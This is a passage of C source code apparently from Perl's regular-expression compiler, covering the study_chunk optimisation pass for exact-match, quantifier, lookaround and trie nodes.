ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; ssc_clear_locale(data->start_class); } else if (flags & SCF_DO_STCLASS_OR) { ssc_add_cp(data->start_class, uc); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); /* See commit msg 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } flags &= ~SCF_DO_STCLASS; } else if (PL_regkind[OP(scan)] == EXACT) { /* But OP != EXACT!, so is EXACTFish */ SSize_t l = STR_LEN(scan); const U8 * s = (U8*)STRING(scan); /* Search for fixed substrings supports EXACT only. */ if (flags & SCF_DO_SUBSTR) { assert(data); scan_commit(pRExC_state, data, minlenp, is_inf); } if (UTF) { l = utf8_length(s, s + l); } if (unfolded_multi_char) { RExC_seen |= REG_UNFOLDED_MULTI_SEEN; } min += l - min_subtract; assert (min >= 0); delta += min_subtract; if (flags & SCF_DO_SUBSTR) { data->pos_min += l - min_subtract; if (data->pos_min < 0) { data->pos_min = 0; } data->pos_delta += min_subtract; if (min_subtract) { data->cur_is_floating = 1; /* float */ } } if (flags & SCF_DO_STCLASS) { SV* EXACTF_invlist = _make_exactf_invlist(pRExC_state, scan); assert(EXACTF_invlist); if (flags & SCF_DO_STCLASS_AND) { if (OP(scan) != EXACTFL) ssc_clear_locale(data->start_class); ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; ANYOF_POSIXL_ZERO(data->start_class); ssc_intersection(data->start_class, EXACTF_invlist, FALSE); } else { /* SCF_DO_STCLASS_OR */ ssc_union(data->start_class, EXACTF_invlist, FALSE); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); /* See commit msg 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } flags &= ~SCF_DO_STCLASS; SvREFCNT_dec(EXACTF_invlist); } } else if (REGNODE_VARIES(OP(scan))) { SSize_t mincount, maxcount, minnext, deltanext, pos_before = 0; I32 fl = 0, f = flags; regnode * const oscan = scan; regnode_ssc this_class; regnode_ssc *oclass = NULL; I32 next_is_eval = 0; switch (PL_regkind[OP(scan)]) { case WHILEM: /* End of (?:...)* . */ scan = NEXTOPER(scan); goto finish; case PLUS: if (flags & (SCF_DO_SUBSTR | SCF_DO_STCLASS)) { next = NEXTOPER(scan); if ( OP(next) == EXACT || OP(next) == EXACT_ONLY8 || OP(next) == EXACTL || (flags & SCF_DO_STCLASS)) { mincount = 1; maxcount = REG_INFTY; next = regnext(scan); scan = NEXTOPER(scan); goto do_curly; } } if (flags & SCF_DO_SUBSTR) data->pos_min++; min++; /* FALLTHROUGH */ case STAR: next = NEXTOPER(scan); /* This temporary node can now be turned into EXACTFU, and * must, as regexec.c doesn't handle it */ if (OP(next) == EXACTFU_S_EDGE) { OP(next) = EXACTFU; } if ( STR_LEN(next) == 1 && isALPHA_A(* STRING(next)) && ( OP(next) == EXACTFAA || ( OP(next) == EXACTFU && ! HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(* STRING(next))))) { /* These differ in just one bit */ U8 mask = ~ ('A' ^ 'a'); assert(isALPHA_A(* STRING(next))); /* Then replace it by an ANYOFM node, with * the mask set to the complement of the * bit that differs between upper and lower * case, and the lowest code point of the * pair (which the '&' forces) */ OP(next) = ANYOFM; ARG_SET(next, *STRING(next) & mask); FLAGS(next) = mask; } if (flags & SCF_DO_STCLASS) { mincount = 0; maxcount = REG_INFTY; next = regnext(scan); scan = NEXTOPER(scan); goto do_curly; } if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); /* Cannot extend fixed substrings */ data->cur_is_floating = 1; /* float */ } is_inf = is_inf_internal = 1; scan = regnext(scan); goto optimize_curly_tail; case CURLY: if (stopparen>0 && (OP(scan)==CURLYN || OP(scan)==CURLYM) && (scan->flags == stopparen)) { mincount = 1; maxcount = 1; } else { mincount = ARG1(scan); maxcount = ARG2(scan); } next = regnext(scan); if (OP(scan) == CURLYX) { I32 lp = (data ? *(data->last_closep) : 0); scan->flags = ((lp <= (I32)U8_MAX) ? (U8)lp : U8_MAX); } scan = NEXTOPER(scan) + EXTRA_STEP_2ARGS; next_is_eval = (OP(scan) == EVAL); do_curly: if (flags & SCF_DO_SUBSTR) { if (mincount == 0) scan_commit(pRExC_state, data, minlenp, is_inf); /* Cannot extend fixed substrings */ pos_before = data->pos_min; } if (data) { fl = data->flags; data->flags &= ~(SF_HAS_PAR|SF_IN_PAR|SF_HAS_EVAL); if (is_inf) data->flags |= SF_IS_INF; } if (flags & SCF_DO_STCLASS) { ssc_init(pRExC_state, &this_class); oclass = data->start_class; data->start_class = &this_class; f |= SCF_DO_STCLASS_AND; f &= ~SCF_DO_STCLASS_OR; } /* Exclude from super-linear cache processing any {n,m} regops for which the combination of input pos and regex pos is not enough information to determine if a match will be possible. For example, in the regex /foo(bar\s*){4,8}baz/ with the regex pos at the \s*, the prospects for a match depend not only on the input position but also on how many (bar\s*) repeats into the {4,8} we are. */ if ((mincount > 1) || (maxcount > 1 && maxcount != REG_INFTY)) f &= ~SCF_WHILEM_VISITED_POS; /* This will finish on WHILEM, setting scan, or on NULL: */ /* recurse study_chunk() on loop bodies */ minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext, last, data, stopparen, recursed_depth, NULL, (mincount == 0 ? (f & ~SCF_DO_SUBSTR) : f) ,depth+1); if (flags & SCF_DO_STCLASS) data->start_class = oclass; if (mincount == 0 || minnext == 0) { if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &this_class); } else if (flags & SCF_DO_STCLASS_AND) { /* Switch to OR mode: cache the old value of * data->start_class */ INIT_AND_WITHP; StructCopy(data->start_class, and_withp, regnode_ssc); flags &= ~SCF_DO_STCLASS_AND; StructCopy(&this_class, data->start_class, regnode_ssc); flags |= SCF_DO_STCLASS_OR; ANYOF_FLAGS(data->start_class) |= SSC_MATCHES_EMPTY_STRING; } } else { /* Non-zero len */ if (flags & SCF_DO_STCLASS_OR) { ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &this_class); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); } else if (flags & SCF_DO_STCLASS_AND) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &this_class); flags &= ~SCF_DO_STCLASS; } if (!scan) /* It was not CURLYX, but CURLY. */ scan = next; if (((flags & (SCF_TRIE_DOING_RESTUDY|SCF_DO_SUBSTR))==SCF_DO_SUBSTR) /* ? quantifier ok, except for (?{ ... }) */ && (next_is_eval || !(mincount == 0 && maxcount == 1)) && (minnext == 0) && (deltanext == 0) && data && !(data->flags & (SF_HAS_PAR|SF_IN_PAR)) && maxcount <= REG_INFTY/3) /* Complement check for big count */ { _WARN_HELPER(RExC_precomp_end, packWARN(WARN_REGEXP), Perl_ck_warner(aTHX_ packWARN(WARN_REGEXP), "Quantifier unexpected on zero-length expression " "in regex m/%" UTF8f "/", UTF8fARG(UTF, RExC_precomp_end - RExC_precomp, RExC_precomp))); } if ( ( minnext > 0 && mincount >= SSize_t_MAX / minnext ) || min >= SSize_t_MAX - minnext * mincount ) { FAIL("Regexp out of space"); } min += minnext * mincount; is_inf_internal |= deltanext == SSize_t_MAX || (maxcount == REG_INFTY && minnext + deltanext > 0); is_inf |= is_inf_internal; if (is_inf) { delta = SSize_t_MAX; } else { delta += (minnext + deltanext) * maxcount - minnext * mincount; } /* Try powerful optimization CURLYX => CURLYN. */ if ( OP(oscan) == CURLYX && data && data->flags & SF_IN_PAR && !(data->flags & SF_HAS_EVAL) && !deltanext && minnext == 1 ) { /* Try to optimize to CURLYN. */ regnode *nxt = NEXTOPER(oscan) + EXTRA_STEP_2ARGS; regnode * const nxt1 = nxt; #ifdef DEBUGGING regnode *nxt2; #endif /* Skip open. */ nxt = regnext(nxt); if (!REGNODE_SIMPLE(OP(nxt)) && !(PL_regkind[OP(nxt)] == EXACT && STR_LEN(nxt) == 1)) goto nogo; #ifdef DEBUGGING nxt2 = nxt; #endif nxt = regnext(nxt); if (OP(nxt) != CLOSE) goto nogo; if (RExC_open_parens) { /*open->CURLYM*/ RExC_open_parens[ARG(nxt1)] = REGNODE_OFFSET(oscan); /*close->while*/ RExC_close_parens[ARG(nxt1)] = REGNODE_OFFSET(nxt) + 2; } /* Now we know that nxt2 is the only contents: */ oscan->flags = (U8)ARG(nxt); OP(oscan) = CURLYN; OP(nxt1) = NOTHING; /* was OPEN. */ #ifdef DEBUGGING OP(nxt1 + 1) = OPTIMIZED; /* was count. */ NEXT_OFF(nxt1+ 1) = 0; /* just for consistency. */ NEXT_OFF(nxt2) = 0; /* just for consistency with CURLY. */ OP(nxt) = OPTIMIZED; /* was CLOSE. */ OP(nxt + 1) = OPTIMIZED; /* was count. */ NEXT_OFF(nxt+ 1) = 0; /* just for consistency. */ #endif } nogo: /* Try optimization CURLYX => CURLYM. */ if ( OP(oscan) == CURLYX && data && !(data->flags & SF_HAS_PAR) && !(data->flags & SF_HAS_EVAL) && !deltanext /* atom is fixed width */ && minnext != 0 /* CURLYM can't handle zero width */ /* Nor characters whose fold at run-time may be * multi-character */ && ! (RExC_seen & REG_UNFOLDED_MULTI_SEEN) ) { /* XXXX How to optimize if data == 0? */ /* Optimize to a simpler form. */ regnode *nxt = NEXTOPER(oscan) + EXTRA_STEP_2ARGS; /* OPEN */ regnode *nxt2; OP(oscan) = CURLYM; while ( (nxt2 = regnext(nxt)) /* skip over embedded stuff*/ && (OP(nxt2) != WHILEM)) nxt = nxt2; OP(nxt2) = SUCCEED; /* Whas WHILEM */ /* Need to optimize away parenths. */ if ((data->flags & SF_IN_PAR) && OP(nxt) == CLOSE) { /* Set the parenth number. */ regnode *nxt1 = NEXTOPER(oscan) + EXTRA_STEP_2ARGS; /* OPEN*/ oscan->flags = (U8)ARG(nxt); if (RExC_open_parens) { /*open->CURLYM*/ RExC_open_parens[ARG(nxt1)] = REGNODE_OFFSET(oscan); /*close->NOTHING*/ RExC_close_parens[ARG(nxt1)] = REGNODE_OFFSET(nxt2) + 1; } OP(nxt1) = OPTIMIZED; /* was OPEN. */ OP(nxt) = OPTIMIZED; /* was CLOSE. */ #ifdef DEBUGGING OP(nxt1 + 1) = OPTIMIZED; /* was count. */ OP(nxt + 1) = OPTIMIZED; /* was count. */ NEXT_OFF(nxt1 + 1) = 0; /* just for consistency. */ NEXT_OFF(nxt + 1) = 0; /* just for consistency. */ #endif #if 0 while ( nxt1 && (OP(nxt1) != WHILEM)) { regnode *nnxt = regnext(nxt1); if (nnxt == nxt) { if (reg_off_by_arg[OP(nxt1)]) ARG_SET(nxt1, nxt2 - nxt1); else if (nxt2 - nxt1 < U16_MAX) NEXT_OFF(nxt1) = nxt2 - nxt1; else OP(nxt) = NOTHING; /* Cannot beautify */ } nxt1 = nnxt; } #endif /* Optimize again: */ /* recurse study_chunk() on optimised CURLYX => CURLYM */ study_chunk(pRExC_state, &nxt1, minlenp, &deltanext, nxt, NULL, stopparen, recursed_depth, NULL, 0, depth+1); } else oscan->flags = 0; } else if ((OP(oscan) == CURLYX) && (flags & SCF_WHILEM_VISITED_POS) /* See the comment on a similar expression above. However, this time it's not a subexpression we care about, but the expression itself. */ && (maxcount == REG_INFTY) && data) { /* This stays as CURLYX, we can put the count/of pair. */ /* Find WHILEM (as in regexec.c) */ regnode *nxt = oscan + NEXT_OFF(oscan); if (OP(PREVOPER(nxt)) == NOTHING) /* LONGJMP */ nxt += ARG(nxt); nxt = PREVOPER(nxt); if (nxt->flags & 0xf) { /* we've already set whilem count on this node */ } else if (++data->whilem_c < 16) { assert(data->whilem_c <= RExC_whilem_seen); nxt->flags = (U8)(data->whilem_c | (RExC_whilem_seen << 4)); /* On WHILEM */ } } if (data && fl & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (flags & SCF_DO_SUBSTR) { SV *last_str = NULL; STRLEN last_chrs = 0; int counted = mincount != 0; if (data->last_end > 0 && mincount != 0) { /* Ends with a string. */ SSize_t b = pos_before >= data->last_start_min ? pos_before : data->last_start_min; STRLEN l; const char * const s = SvPV_const(data->last_found, l); SSize_t old = b - data->last_start_min; assert(old >= 0); if (UTF) old = utf8_hop_forward((U8*)s, old, (U8 *) SvEND(data->last_found)) - (U8*)s; l -= old; /* Get the added string: */ last_str = newSVpvn_utf8(s + old, l, UTF); last_chrs = UTF ? utf8_length((U8*)(s + old), (U8*)(s + old + l)) : l; if (deltanext == 0 && pos_before == b) { /* What was added is a constant string */ if (mincount > 1) { SvGROW(last_str, (mincount * l) + 1); repeatcpy(SvPVX(last_str) + l, SvPVX_const(last_str), l, mincount - 1); SvCUR_set(last_str, SvCUR(last_str) * mincount); /* Add additional parts. */ SvCUR_set(data->last_found, SvCUR(data->last_found) - l); sv_catsv(data->last_found, last_str); { SV * sv = data->last_found; MAGIC *mg = SvUTF8(sv) && SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_utf8) : NULL; if (mg && mg->mg_len >= 0) mg->mg_len += last_chrs * (mincount-1); } last_chrs *= mincount; data->last_end += l * (mincount - 1); } } else { /* start offset must point into the last copy */ data->last_start_min += minnext * (mincount - 1); data->last_start_max = is_inf ? SSize_t_MAX : data->last_start_max + (maxcount - 1) * (minnext + data->pos_delta); } } /* It is counted once already... */ data->pos_min += minnext * (mincount - counted); #if 0 Perl_re_printf( aTHX_ "counted=%" UVuf " deltanext=%" UVuf " SSize_t_MAX=%" UVuf " minnext=%" UVuf " maxcount=%" UVuf " mincount=%" UVuf "\n", (UV)counted, (UV)deltanext, (UV)SSize_t_MAX, (UV)minnext, (UV)maxcount, (UV)mincount); if (deltanext != SSize_t_MAX) Perl_re_printf( aTHX_ "LHS=%" UVuf " RHS=%" UVuf "\n", (UV)(-counted * deltanext + (minnext + deltanext) * maxcount - minnext * mincount), (UV)(SSize_t_MAX - data->pos_delta)); #endif if (deltanext == SSize_t_MAX || -counted * deltanext + (minnext + deltanext) * maxcount - minnext * mincount >= SSize_t_MAX - data->pos_delta) data->pos_delta = SSize_t_MAX; else data->pos_delta += - counted * deltanext + (minnext + deltanext) * maxcount - minnext * mincount; if (mincount != maxcount) { /* Cannot extend fixed substrings found inside the group. */ scan_commit(pRExC_state, data, minlenp, is_inf); if (mincount && last_str) { SV * const sv = data->last_found; MAGIC * const mg = SvUTF8(sv) && SvMAGICAL(sv) ? mg_find(sv, PERL_MAGIC_utf8) : NULL; if (mg) mg->mg_len = -1; sv_setsv(sv, last_str); data->last_end = data->pos_min; data->last_start_min = data->pos_min - last_chrs; data->last_start_max = is_inf ? SSize_t_MAX : data->pos_min + data->pos_delta - last_chrs; } data->cur_is_floating = 1; /* float */ } SvREFCNT_dec(last_str); } if (data && (fl & SF_HAS_EVAL)) data->flags |= SF_HAS_EVAL; optimize_curly_tail: if (OP(oscan) != CURLYX) { while (PL_regkind[OP(next = regnext(oscan))] == NOTHING && NEXT_OFF(next)) NEXT_OFF(oscan) += NEXT_OFF(next); } continue; default: #ifdef DEBUGGING Perl_croak(aTHX_ "panic: unexpected varying REx opcode %d", OP(scan)); #endif case REF: case CLUMP: if (flags & SCF_DO_SUBSTR) { /* Cannot expect anything... */ scan_commit(pRExC_state, data, minlenp, is_inf); data->cur_is_floating = 1; /* float */ } is_inf = is_inf_internal = 1; if (flags & SCF_DO_STCLASS_OR) { if (OP(scan) == CLUMP) { /* Actually is any start char, but very few code points * aren't start characters */ ssc_match_all_cp(data->start_class); } else { ssc_anything(data->start_class); } } flags &= ~SCF_DO_STCLASS; break; } } else if (OP(scan) == LNBREAK) { if (flags & SCF_DO_STCLASS) { if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, PL_XPosix_ptrs[_CC_VERTSPACE], FALSE); ssc_clear_locale(data->start_class); ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } else if (flags & SCF_DO_STCLASS_OR) { ssc_union(data->start_class, PL_XPosix_ptrs[_CC_VERTSPACE], FALSE); ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); /* See commit msg for * 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; } flags &= ~SCF_DO_STCLASS; } min++; if (delta != SSize_t_MAX) delta++; /* Because of the 2 char string cr-lf */ if (flags & SCF_DO_SUBSTR) { /* Cannot expect anything... */ scan_commit(pRExC_state, data, minlenp, is_inf); data->pos_min += 1; if (data->pos_delta != SSize_t_MAX) { data->pos_delta += 1; } data->cur_is_floating = 1; /* float */ } } else if (REGNODE_SIMPLE(OP(scan))) { if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); data->pos_min++; } min++; if (flags & SCF_DO_STCLASS) { bool invert = 0; SV* my_invlist = NULL; U8 namedclass; /* See commit msg 749e076fceedeb708a624933726e7989f2302f6a */ ANYOF_FLAGS(data->start_class) &= ~SSC_MATCHES_EMPTY_STRING; /* Some of the logic below assumes that switching locale on will only add false positives. */ switch (OP(scan)) { default: #ifdef DEBUGGING Perl_croak(aTHX_ "panic: unexpected simple REx opcode %d", OP(scan)); #endif case SANY: if (flags & SCF_DO_STCLASS_OR) /* Allow everything */ ssc_match_all_cp(data->start_class); break; case REG_ANY: { SV* REG_ANY_invlist = _new_invlist(2); REG_ANY_invlist = add_cp_to_invlist(REG_ANY_invlist, '\n'); if (flags & SCF_DO_STCLASS_OR) { ssc_union(data->start_class, REG_ANY_invlist, TRUE /* TRUE => invert, hence all but \n */ ); } else if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, REG_ANY_invlist, TRUE /* TRUE => invert */ ); ssc_clear_locale(data->start_class); } SvREFCNT_dec_NN(REG_ANY_invlist); } break; case ANYOFD: case ANYOFL: case ANYOFPOSIXL: case ANYOFH: case ANYOF: if (flags & SCF_DO_STCLASS_AND) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) scan); else ssc_or(pRExC_state, data->start_class, (regnode_charclass *) scan); break; case NANYOFM: case ANYOFM: { SV* cp_list = get_ANYOFM_contents(scan); if (flags & SCF_DO_STCLASS_OR) { ssc_union(data->start_class, cp_list, invert); } else if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, cp_list, invert); } SvREFCNT_dec_NN(cp_list); break; } case NPOSIXL: invert = 1; /* FALLTHROUGH */ case POSIXL: namedclass = classnum_to_namedclass(FLAGS(scan)) + invert; if (flags & SCF_DO_STCLASS_AND) { bool was_there = cBOOL( ANYOF_POSIXL_TEST(data->start_class, namedclass)); ANYOF_POSIXL_ZERO(data->start_class); if (was_there) { /* Do an AND */ ANYOF_POSIXL_SET(data->start_class, namedclass); } /* No individual code points can now match */ data->start_class->invlist = sv_2mortal(_new_invlist(0)); } else { int complement = namedclass + ((invert) ? -1 : 1); assert(flags & SCF_DO_STCLASS_OR); /* If the complement of this class was already there, * the result is that they match all code points, * (\d + \D == everything). Remove the classes from * future consideration. Locale is not relevant in * this case */ if (ANYOF_POSIXL_TEST(data->start_class, complement)) { ssc_match_all_cp(data->start_class); ANYOF_POSIXL_CLEAR(data->start_class, namedclass); ANYOF_POSIXL_CLEAR(data->start_class, complement); } else { /* The usual case; just add this class to the existing set */ ANYOF_POSIXL_SET(data->start_class, namedclass); } } break; case NPOSIXA: /* For these, we always know the exact set of what's matched */ invert = 1; /* FALLTHROUGH */ case POSIXA: my_invlist = invlist_clone(PL_Posix_ptrs[FLAGS(scan)], NULL); goto join_posix_and_ascii; case NPOSIXD: case NPOSIXU: invert = 1; /* FALLTHROUGH */ case POSIXD: case POSIXU: my_invlist = invlist_clone(PL_XPosix_ptrs[FLAGS(scan)], NULL); /* NPOSIXD matches all upper Latin1 code points unless the * target string being matched is UTF-8, which is * unknowable until match time. Since we are going to * invert, we want to get rid of all of them so that the * inversion will match all */ if (OP(scan) == NPOSIXD) { _invlist_subtract(my_invlist, PL_UpperLatin1, &my_invlist); } join_posix_and_ascii: if (flags & SCF_DO_STCLASS_AND) { ssc_intersection(data->start_class, my_invlist, invert); ssc_clear_locale(data->start_class); } else { assert(flags & SCF_DO_STCLASS_OR); ssc_union(data->start_class, my_invlist, invert); } SvREFCNT_dec(my_invlist); } if (flags & SCF_DO_STCLASS_OR) ssc_and(pRExC_state, data->start_class, (regnode_charclass *) and_withp); flags &= ~SCF_DO_STCLASS; } } else if (PL_regkind[OP(scan)] == EOL && flags & SCF_DO_SUBSTR) { data->flags |= (OP(scan) == MEOL ? SF_BEFORE_MEOL : SF_BEFORE_SEOL); scan_commit(pRExC_state, data, minlenp, is_inf); } else if ( PL_regkind[OP(scan)] == BRANCHJ /* Lookbehind, or need to calculate parens/evals/stclass: */ && (scan->flags || data || (flags & SCF_DO_STCLASS)) && (OP(scan) == IFMATCH || OP(scan) == UNLESSM)) { if ( !PERL_ENABLE_POSITIVE_ASSERTION_STUDY || OP(scan) == UNLESSM ) { /* Negative Lookahead/lookbehind In this case we can't do fixed string optimisation. */ SSize_t deltanext, minnext, fake = 0; regnode *nscan; regnode_ssc intrnl; int f = 0; StructCopy(&zero_scan_data, &data_fake, scan_data_t); if (data) { data_fake.whilem_c = data->whilem_c; data_fake.last_closep = data->last_closep; } else data_fake.last_closep = &fake; data_fake.pos_delta = delta; if ( flags & SCF_DO_STCLASS && !scan->flags && OP(scan) == IFMATCH ) { /* Lookahead */ ssc_init(pRExC_state, &intrnl); data_fake.start_class = &intrnl; f |= SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; next = regnext(scan); nscan = NEXTOPER(NEXTOPER(scan)); /* recurse study_chunk() for lookahead body */ minnext = study_chunk(pRExC_state, &nscan, minlenp, &deltanext, last, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); if (scan->flags) { if ( deltanext < 0 || deltanext > (I32) U8_MAX || minnext > (I32)U8_MAX || minnext + deltanext > (I32)U8_MAX) { FAIL2("Lookbehind longer than %" UVuf " not implemented", (UV)U8_MAX); } /* The 'next_off' field has been repurposed to count the * additional starting positions to try beyond the initial * one. (This leaves it at 0 for non-variable length * matches to avoid breakage for those not using this * extension) */ if (deltanext) { scan->next_off = deltanext; ckWARNexperimental(RExC_parse, WARN_EXPERIMENTAL__VLB, "Variable length lookbehind is experimental"); } scan->flags = (U8)minnext + deltanext; } if (data) { if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; } if (f & SCF_DO_STCLASS_AND) { if (flags & SCF_DO_STCLASS_OR) { /* OR before, AND after: ideally we would recurse with * data_fake to get the AND applied by study of the * remainder of the pattern, and then derecurse; * *** HACK *** for now just treat as "no information". * See [perl #56690]. */ ssc_init(pRExC_state, data->start_class); } else { /* AND before and after: combine and continue. These * assertions are zero-length, so can match an EMPTY * string */ ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &intrnl); ANYOF_FLAGS(data->start_class) |= SSC_MATCHES_EMPTY_STRING; } } } #if PERL_ENABLE_POSITIVE_ASSERTION_STUDY else { /* Positive Lookahead/lookbehind In this case we can do fixed string optimisation, but we must be careful about it. Note in the case of lookbehind the positions will be offset by the minimum length of the pattern, something we won't know about until after the recurse. */ SSize_t deltanext, fake = 0; regnode *nscan; regnode_ssc intrnl; int f = 0; /* We use SAVEFREEPV so that when the full compile is finished perl will clean up the allocated minlens when it's all done. This way we don't have to worry about freeing them when we know they wont be used, which would be a pain. */ SSize_t *minnextp; Newx( minnextp, 1, SSize_t ); SAVEFREEPV(minnextp); if (data) { StructCopy(data, &data_fake, scan_data_t); if ((flags & SCF_DO_SUBSTR) && data->last_found) { f |= SCF_DO_SUBSTR; if (scan->flags) scan_commit(pRExC_state, &data_fake, minlenp, is_inf); data_fake.last_found=newSVsv(data->last_found); } } else data_fake.last_closep = &fake; data_fake.flags = 0; data_fake.substrs[0].flags = 0; data_fake.substrs[1].flags = 0; data_fake.pos_delta = delta; if (is_inf) data_fake.flags |= SF_IS_INF; if ( flags & SCF_DO_STCLASS && !scan->flags && OP(scan) == IFMATCH ) { /* Lookahead */ ssc_init(pRExC_state, &intrnl); data_fake.start_class = &intrnl; f |= SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; next = regnext(scan); nscan = NEXTOPER(NEXTOPER(scan)); /* positive lookahead study_chunk() recursion */ *minnextp = study_chunk(pRExC_state, &nscan, minnextp, &deltanext, last, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); if (scan->flags) { assert(0); /* This code has never been tested since this is normally not compiled */ if ( deltanext < 0 || deltanext > (I32) U8_MAX || *minnextp > (I32)U8_MAX || *minnextp + deltanext > (I32)U8_MAX) { FAIL2("Lookbehind longer than %" UVuf " not implemented", (UV)U8_MAX); } if (deltanext) { scan->next_off = deltanext; } scan->flags = (U8)*minnextp + deltanext; } *minnextp += min; if (f & SCF_DO_STCLASS_AND) { ssc_and(pRExC_state, data->start_class, (regnode_charclass *) &intrnl); ANYOF_FLAGS(data->start_class) |= SSC_MATCHES_EMPTY_STRING; } if (data) { if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags & SF_HAS_EVAL) data->flags |= SF_HAS_EVAL; data->whilem_c = data_fake.whilem_c; if ((flags & SCF_DO_SUBSTR) && data_fake.last_found) { int i; if (RExC_rx->minlen<*minnextp) RExC_rx->minlen=*minnextp; scan_commit(pRExC_state, &data_fake, minnextp, is_inf); SvREFCNT_dec_NN(data_fake.last_found); for (i = 0; i < 2; i++) { if (data_fake.substrs[i].minlenp != minlenp) { data->substrs[i].min_offset = data_fake.substrs[i].min_offset; data->substrs[i].max_offset = data_fake.substrs[i].max_offset; data->substrs[i].minlenp = data_fake.substrs[i].minlenp; data->substrs[i].lookbehind += scan->flags; } } } } } #endif } else if (OP(scan) == OPEN) { if (stopparen != (I32)ARG(scan)) pars++; } else if (OP(scan) == CLOSE) { if (stopparen == (I32)ARG(scan)) { break; } if ((I32)ARG(scan) == is_par) { next = regnext(scan); if ( next && (OP(next) != WHILEM) && next < last) is_par = 0; /* Disable optimization */ } if (data) *(data->last_closep) = ARG(scan); } else if (OP(scan) == EVAL) { if (data) data->flags |= SF_HAS_EVAL; } else if ( PL_regkind[OP(scan)] == ENDLIKE ) { if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); flags &= ~SCF_DO_SUBSTR; } if (data && OP(scan)==ACCEPT) { data->flags |= SCF_SEEN_ACCEPT; if (stopmin > min) stopmin = min; } } else if (OP(scan) == LOGICAL && scan->flags == 2) /* Embedded follows */ { if (flags & SCF_DO_SUBSTR) { scan_commit(pRExC_state, data, minlenp, is_inf); data->cur_is_floating = 1; /* float */ } is_inf = is_inf_internal = 1; if (flags & SCF_DO_STCLASS_OR) /* Allow everything */ ssc_anything(data->start_class); flags &= ~SCF_DO_STCLASS; } else if (OP(scan) == GPOS) { if (!(RExC_rx->intflags & PREGf_GPOS_FLOAT) && !(delta || is_inf || (data && data->pos_delta))) { if (!(RExC_rx->intflags & PREGf_ANCH) && (flags & SCF_DO_SUBSTR)) RExC_rx->intflags |= PREGf_ANCH_GPOS; if (RExC_rx->gofs < (STRLEN)min) RExC_rx->gofs = min; } else { RExC_rx->intflags |= PREGf_GPOS_FLOAT; RExC_rx->gofs = 0; } } #ifdef TRIE_STUDY_OPT #ifdef FULL_TRIE_STUDY else if (PL_regkind[OP(scan)] == TRIE) { /* NOTE - There is similar code to this block above for handling BRANCH nodes on the initial study. If you change stuff here check there too. */ regnode *trie_node= scan; regnode *tail= regnext(scan); reg_trie_data *trie = (reg_trie_data*)RExC_rxi->data->data[ ARG(scan) ]; SSize_t max1 = 0, min1 = SSize_t_MAX; regnode_ssc accum; if (flags & SCF_DO_SUBSTR) { /* XXXX Add !SUSPEND? */ /* Cannot merge strings after this. */ scan_commit(pRExC_state, data, minlenp, is_inf); } if (flags & SCF_DO_STCLASS) ssc_init_zero(pRExC_state, &accum); if (!trie->jump) { min1= trie->minlen; max1= trie->maxlen; } else { const regnode *nextbranch= NULL; U32 word; for ( word=1 ; word <= trie->wordcount ; word++) { SSize_t deltanext=0, minnext=0, f = 0, fake; regnode_ssc this_class; StructCopy(&zero_scan_data, &data_fake, scan_data_t); if (data) { data_fake.whilem_c = data->whilem_c; data_fake.last_closep = data->last_closep; } else data_fake.last_closep = &fake; data_fake.pos_delta = delta; if (flags & SCF_DO_STCLASS) { ssc_init(pRExC_state, &this_class); data_fake.start_class = &this_class; f = SCF_DO_STCLASS_AND; } if (flags & SCF_WHILEM_VISITED_POS) f |= SCF_WHILEM_VISITED_POS; if (trie->jump[word]) { if (!nextbranch) nextbranch = trie_node + trie->jump[0]; scan= trie_node + trie->jump[word]; /* We go from the jump point to the branch that follows it. Note this means we need the vestigal unused branches even though they arent otherwise used. */ /* optimise study_chunk() for TRIE */ minnext = study_chunk(pRExC_state, &scan, minlenp, &deltanext, (regnode *)nextbranch, &data_fake, stopparen, recursed_depth, NULL, f, depth+1); } if (nextbranch && PL_regkind[OP(nextbranch)]==BRANCH) nextbranch= regnext((regnode*)nextbranch); if (min1 > (SSize_t)(minnext + trie->minlen)) min1 = minnext + trie->minlen; if (deltanext == SSize_t_MAX) { is_inf = is_inf_internal = 1; max1 = SSize_t_MAX; } else if (max1 < (SSize_t)(minnext + deltanext + trie->maxlen)) max1 = minnext + deltanext + trie->maxlen; if (data_fake.flags & (SF_HAS_PAR|SF_IN_PAR)) pars++; if (data_fake.flags 